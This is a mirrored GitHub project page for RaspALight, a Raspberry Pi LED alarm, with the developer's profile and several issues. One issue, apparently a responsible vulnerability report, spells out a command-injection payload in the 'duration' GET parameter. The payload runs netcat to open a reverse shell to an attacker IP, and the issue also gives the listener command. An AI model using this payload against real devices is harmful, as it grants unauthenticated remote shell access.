Giter Club home page Giter Club logo

raspalight's Introduction

Hi ๐Ÿ‘‹, I'm Nic

A passionate fullstack engineer from Germany

trophy

  • ๐Ÿ‘จโ€๐Ÿ’ป I am open for work for SvelteKit (Landingpages, WebApps) and Flutter (mobile Apps) projects (with or without backend)

Languages and Tools:

angular appwrite chartjs css3 dart docker express figma firebase flutter gcp git graphql html5 illustrator ionic jest mongodb nestjs nextjs nodejs postgresql postman react sass svelte tailwind unreal

eweren

raspalight's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

raspalight's Issues

Endless loading

When setting an alarm, the php script is excecuting a python file. Since this file is waiting for the alarm to begin, the php file would excecute the file till the end. So to stop the loading, you have to click on the alarm headline. Not optimal, but for now it does what it is supposed to do.
Trying to fix this, so that if you set an Alarm, you will be redirected again to the main page.

Configuring sub-page

A sub-page for configuring things like:

  1. the pins used, since people often use some GPIO pins for other projects as well
  2. the standard variables like the duration or the cut off time

Remote Command Execution Flaws

Hi,

I found two security flaws which allows attackers in the same network to perform remote commands over the web interface. For example in line

https://github.com/eweren/RaspALight/blob/master/ledcontrol/index.php#L30

an attacker could open a shell through netcat with the duration-GET-parameter set to ; nc -c /bin/sh <your IP> <any unfiltered port>.

Think about a scenario where the RaspALight runs on 10.1.1.7 and the attackers IP is 10.1.1.1. When you run nc -l -p 1337 -vvv on the attackers machine and open the url http://10.1.1.7/ledcontrol/index.php?time=1309&date=20170401&duration=; nc -c /bin/sh 10.1.1.1 1337, you get a remote shell without authenticating yourself.

The same is working in the following line with the abort-GET-parameter:

https://github.com/eweren/RaspALight/blob/master/ledcontrol/index.php#L40

More Information about installation and using

Hi,

could you give some additional information please about the settings, using or a howto. How I marry your solution with jgarff/rpi_ws281x.
Should I use apache2 on the raspi or can I use another webserver, which are rules the raspi?

Regards in advance.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.